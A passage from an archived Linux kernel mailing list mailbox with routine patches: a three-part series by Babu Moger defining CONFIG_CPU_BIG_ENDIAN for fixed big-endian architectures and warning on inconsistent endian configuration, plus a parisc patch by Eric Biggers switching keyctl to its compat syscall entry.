        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752430AbdFLWLY (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Mon, 12 Jun 2017 18:11:24 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v5CMAEAb018262
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:16 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v5CMADCH009142
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:13 GMT
Original-Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id v5CMA8P9030707;
        Mon, 12 Jun 2017 22:10:09 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 12 Jun 2017 15:10:07 -0700
X-Mailer: git-send-email 1.7.1
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9382 gmane.linux.kernel:2498831 gmane.linux.ports.parisc:27507 gmane.linux.ports.sparc:25541
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9382>

Found this problem while enabling queued rwlock on SPARC.
The parameter CONFIG_CPU_BIG_ENDIAN is used to clear the
specific byte in qrwlock structure. Without this parameter,
we clear the wrong byte.
Here is the code in include/asm-generic/qrwlock.h

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
  {
         return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
  }

Also found few more references of this parameter in
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c

Here is our previous discussion.
https://lkml.org/lkml/2017/5/24/620

Based on the discussion, it was decided to add CONFIG_CPU_BIG_ENDIAN
for all the fixed big endian architecture(frv, h8300, m68k, openrisc,
parisc and sparc). And warn if there are inconsistencies in this definition.

v2 -> v3:
 Added the choice statement for endianness selection for microblaze.
 Updated the Makefile for microblaze(Suggested by Arnd Bergmann) to
 properly compile for the correct format.
 Updated acks.

v1 -> v2:
 Updated the commit messages and acks.

Babu Moger (3):
  arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
  arch/microblaze: Add choice for endianness and update Makefile
  include: warn for inconsistent endian config definition

 arch/frv/Kconfig                        |    3 +++
 arch/h8300/Kconfig                      |    3 +++
 arch/m68k/Kconfig                       |    3 +++
 arch/microblaze/Kconfig                 |   16 ++++++++++++++++
 arch/microblaze/Makefile                |    2 ++
 arch/openrisc/Kconfig                   |    3 +++
 arch/parisc/Kconfig                     |    3 +++
 arch/sparc/Kconfig                      |    3 +++
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 10 files changed, 44 insertions(+), 0 deletions(-)


From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 2/3] arch/microblaze: Add choice for endianness and update Makefile
Date: Mon, 12 Jun 2017 15:09:59 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <1497305400-147425-3-git-send-email-babu.moger@oracle.com>
References: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497305508 9081 195.159.176.226 (12 Jun 2017 22:11:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 22:11:48 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 13 00:11:43 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dKXYk-0002Aq-H8
	for glk-linux-kernel-3@m.gmane.org; Tue, 13 Jun 2017 00:11:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752980AbdFLWLa (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 12 Jun 2017 18:11:30 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:23127 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752430AbdFLWL1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 12 Jun 2017 18:11:27 -0400
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v5CMAFSK023898
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:15 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by userv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v5CMAFXw012222
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:15 GMT
Original-Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v5CMABwR020515;
        Mon, 12 Jun 2017 22:10:11 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 12 Jun 2017 15:10:11 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: userv0022.oracle.com [156.151.31.74]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2498832 gmane.linux.ports.m68k:9383 gmane.linux.ports.parisc:27508 gmane.linux.ports.sparc:25542
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2498832>

microblaze architectures can be configured for either little or
big endian formats. Add a choice option for the user to select the
correct endian format(default to big endian).

Also update the Makefile so toolchain can compile for the format
it is configured for.

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/microblaze/Kconfig  |   16 ++++++++++++++++
 arch/microblaze/Makefile |    2 ++
 2 files changed, 18 insertions(+), 0 deletions(-)

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 85885a5..74aa5de 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -35,6 +35,22 @@ config MICROBLAZE
 	select VIRT_TO_BUS
 	select CPU_NO_EFFICIENT_FFS
 
+# Endianness selection
+choice
+	prompt "Endianness selection"
+	default CPU_BIG_ENDIAN
+	help
+	  microblaze architectures can be configured for either little or
+	  big endian formats. Be sure to select the appropriate mode.
+
+config CPU_BIG_ENDIAN
+	bool "Big endian"
+
+config CPU_LITTLE_ENDIAN
+	bool "Little endian"
+
+endchoice
+
 config SWAP
 	def_bool n
 
diff --git a/arch/microblaze/Makefile b/arch/microblaze/Makefile
index 740f2b8..1f6c486 100644
--- a/arch/microblaze/Makefile
+++ b/arch/microblaze/Makefile
@@ -35,6 +35,8 @@ endif
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_DIV) += -mno-xl-soft-div
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_BARREL) += -mxl-barrel-shift
 CPUFLAGS-$(CONFIG_XILINX_MICROBLAZE0_USE_PCMP_INSTR) += -mxl-pattern-compare
+CPUFLAGS-$(CONFIG_BIG_ENDIAN) += -mbig-endian
+CPUFLAGS-$(CONFIG_LITTLE_ENDIAN) += -mlittle-endian
 
 CPUFLAGS-1 += $(call cc-option,-mcpu=v$(CPU_VER))
 
-- 
1.7.1



From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 3/3] include: warn for inconsistent endian config definition
Date: Mon, 12 Jun 2017 15:10:00 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <1497305400-147425-4-git-send-email-babu.moger@oracle.com>
References: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497305513 10348 195.159.176.226 (12 Jun 2017 22:11:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 22:11:53 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 13 00:11:46 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dKXYm-0002Aq-F6
	for glk-linux-kernel-3@m.gmane.org; Tue, 13 Jun 2017 00:11:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753059AbdFLWLo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 12 Jun 2017 18:11:44 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:23135 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752918AbdFLWL2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 12 Jun 2017 18:11:28 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v5CMAFZR023914
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:16 GMT
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v5CMAF8n009189
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:15 GMT
Original-Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8])
        by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v5CMACso029317;
        Mon, 12 Jun 2017 22:10:12 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 12 Jun 2017 15:10:12 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2498833 gmane.linux.ports.m68k:9384 gmane.linux.ports.parisc:27509 gmane.linux.ports.sparc:25543
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2498833>

We have seen some generic code use config parameter CONFIG_CPU_BIG_ENDIAN
to decide the endianness.

Here are the few examples.
include/asm-generic/qrwlock.h
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c

Display warning if CPU_BIG_ENDIAN is not defined on big endian
architecture and also warn if it defined on little endian architectures.

Here is our original discussion
https://lkml.org/lkml/2017/5/24/620

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/include/linux/byteorder/big_endian.h b/include/linux/byteorder/big_endian.h
index 3920414..ffd2159 100644
--- a/include/linux/byteorder/big_endian.h
+++ b/include/linux/byteorder/big_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/big_endian.h>
 
+#ifndef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_BIG_ENDIAN_H */
diff --git a/include/linux/byteorder/little_endian.h b/include/linux/byteorder/little_endian.h
index 0805737..ba910bb 100644
--- a/include/linux/byteorder/little_endian.h
+++ b/include/linux/byteorder/little_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/little_endian.h>
 
+#ifdef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, CONFIG_CPU_BIG_ENDIAN is set
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_LITTLE_ENDIAN_H */
-- 
1.7.1



From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v3 1/3] arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
Date: Mon, 12 Jun 2017 15:09:58 -0700
Lines: 127
Approved: news@gmane.org
Message-ID: <1497305400-147425-2-git-send-email-babu.moger@oracle.com>
References: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497305525 12587 195.159.176.226 (12 Jun 2017 22:12:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 22:12:05 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk, monstr@monstr.eu
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 13 00:11:58 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dKXYv-0002a6-Af
	for glk-linux-kernel-3@m.gmane.org; Tue, 13 Jun 2017 00:11:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753114AbdFLWLz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 12 Jun 2017 18:11:55 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:23173 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753075AbdFLWLx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 12 Jun 2017 18:11:53 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v5CMAFpn023896
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:15 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v5CMAF1i026964
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Mon, 12 Jun 2017 22:10:15 GMT
Original-Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8])
        by userv0121.oracle.com (8.14.4/8.13.8) with ESMTP id v5CMA9qu008924;
        Mon, 12 Jun 2017 22:10:11 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 12 Jun 2017 15:10:09 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1497305400-147425-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2498834 gmane.linux.ports.m68k:9385 gmane.linux.ports.parisc:27510 gmane.linux.ports.sparc:25544
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2498834>

While working on enabling queued rwlock on SPARC, found
this following code in include/asm-generic/qrwlock.h
which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
 {
	return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
 }

Problem is many of the fixed big endian architectures don't define
CPU_BIG_ENDIAN and clears the wrong byte.

Define CPU_BIG_ENDIAN for all the fixed big endian architecture to fix it.

Also found few more references of this config parameter in
drivers/of/base.c
drivers/of/fdt.c
drivers/tty/serial/earlycon.c
drivers/tty/serial/serial_core.c
Be aware that this may cause regressions if someone has worked-around
problems in the above code already. Remove the work-around.

Here is our original discussion
https://lkml.org/lkml/2017/5/24/620

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: David S. Miller <davem@davemloft.net>
Acked-by: Stafford Horne <shorne@gmail.com>
---
 arch/frv/Kconfig      |    3 +++
 arch/h8300/Kconfig    |    3 +++
 arch/m68k/Kconfig     |    3 +++
 arch/openrisc/Kconfig |    3 +++
 arch/parisc/Kconfig   |    3 +++
 arch/sparc/Kconfig    |    3 +++
 6 files changed, 18 insertions(+), 0 deletions(-)

diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index eefd9a4..1cce824 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -17,6 +17,9 @@ config FRV
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ZONE_DMA
 	bool
 	default y
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 3ae8525..5380ac8 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -23,6 +23,9 @@ config H8300
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	def_bool y
 
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index d140206..029a58b 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -23,6 +23,9 @@ config M68K
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config RWSEM_GENERIC_SPINLOCK
 	bool
 	default y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 1e95920..a0f2e4a 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -29,6 +29,9 @@ config OPENRISC
 	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
 	select NO_BOOTMEM
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 531da9e..dda1f55 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -47,6 +47,9 @@ config PARISC
 	  and later HP3000 series).  The PA-RISC Linux project home page is
 	  at <http://www.parisc-linux.org/>.
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config MMU
 	def_bool y
 
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 908f019..0d9dc49 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -92,6 +92,9 @@ config ARCH_DEFCONFIG
 config ARCH_PROC_KCORE_TEXT
 	def_bool y
 
+config CPU_BIG_ENDIAN
+	def_bool y
+
 config ARCH_ATU
 	bool
 	default y if SPARC64
-- 
1.7.1



From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Eric Biggers <ebiggers3@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use compat_sys_keyctl()
Date: Mon, 12 Jun 2017 23:18:30 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20170613061830.18013-1-ebiggers3@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1497334784 25608 195.159.176.226 (13 Jun 2017 06:19:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Jun 2017 06:19:44 +0000 (UTC)
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, keyrings@vger.kernel.org,
        Eric Biggers <ebiggers@google.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 13 08:19:40 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dKfAx-0006LY-6G
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Jun 2017 08:19:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752579AbdFMGTc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 13 Jun 2017 02:19:32 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:34259 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752566AbdFMGTa (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 13 Jun 2017 02:19:30 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id d5so6781702pfe.1;
        Mon, 12 Jun 2017 23:19:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=zkkW7aRrIomz1kSyNC5qMvG2LSEE3lFuUuGSbqipSWg=;
        b=FbKz9Fxoy9TSCnPo0fbnFopq+emZ2W7PdaJ11jGzs4JwNe/eZUNe+t7ISLua9XrmLz
         YQMerW/xDgcDPtfPvBgPtALFREVCRYiSFDaCq6vE++DX469tABr70tHdn7ak//SXeEnm
         x57qX0ieXHQ0mbshtWIa7h9FkrKsEMr0dMXPDIw45ZqbXKpxqOSAlQU2P7vCbG5Ln+IF
         AA2XZbEU+wsgJddJ7j0AYyW8chvhmCbZjjK79IFnaZfYWJUSiTnTlUeLeG821UCe/s5G
         P3uOOPK1Fx8ktgqj0C3rNunPwErQr+VxL+/BDKP5noofCrWqXojn+D1PVmuQSQ+rxlt7
         1XCQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=zkkW7aRrIomz1kSyNC5qMvG2LSEE3lFuUuGSbqipSWg=;
        b=ltHrMe4J+kaETLMqjJLR8tv5x6mXlsHN5ed2R2xPtoxq16w2KGXzl9wIQe7eiCCy0+
         S0lZf6m3LAhwLRJlJ/zDYYlnAXD2EwlWanq56+tuj/0m0xuQJrwdU+E2SPCfliIY9kdh
         mf6ceRwgeYyDM0oyjZN6O/yCvJnJdkBslh+ysOi9dXdOYOgReFCPLh6ksvZokzqOPWWZ
         /1w8iyMCPuOQTjrFKUuHIDJy5dg4qmMiswL+lmRSrpc74pcF1R4CC6OfPpQId+4khF1e
         2MQ67Zvo0A5Ae7f2kguXxEP6bnQsBI2c6YYh2QcPXSMTNo+oOvF+DfxuzNHPQmSEXEWE
         RDlQ==
X-Gm-Message-State: AODbwcCatlLnsY/soYnaeKaHhISmEjgu67p0xxjpXdQDWIlk6xiyzCA6
        qBA6WkVJ2Q53NU08h1g=
X-Received: by 10.84.217.213 with SMTP id d21mr61328973plj.45.1497334769395;
        Mon, 12 Jun 2017 23:19:29 -0700 (PDT)
Original-Received: from zzz.hsd1.wa.comcast.net (c-73-239-167-150.hsd1.wa.comcast.net. [73.239.167.150])
        by smtp.gmail.com with ESMTPSA id g10sm20934238pgr.18.2017.06.12.23.19.28
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 12 Jun 2017 23:19:28 -0700 (PDT)
X-Mailer: git-send-email 2.13.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27511>

From: Eric Biggers <ebiggers@google.com>

Architectures with a compat syscall table must put compat_sys_keyctl()
in it, not sys_keyctl().  The parisc architecture was not doing this;
fix it.

Signed-off-by: Eric Biggers <ebiggers@google.com>
---
 arch/parisc/kernel/syscall_table.S | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 44aeaa9c039f..6308749359e4 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -361,7 +361,7 @@
 	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
 	ENTRY_SAME(add_key)
 	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_SAME(keyctl)
+	ENTRY_COMP(keyctl)
 	ENTRY_SAME(ioprio_set)
 	ENTRY_SAME(ioprio_get)
 	ENTRY_SAME(inotify_init)
-- 
2.13.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: use compat_sys_keyctl()
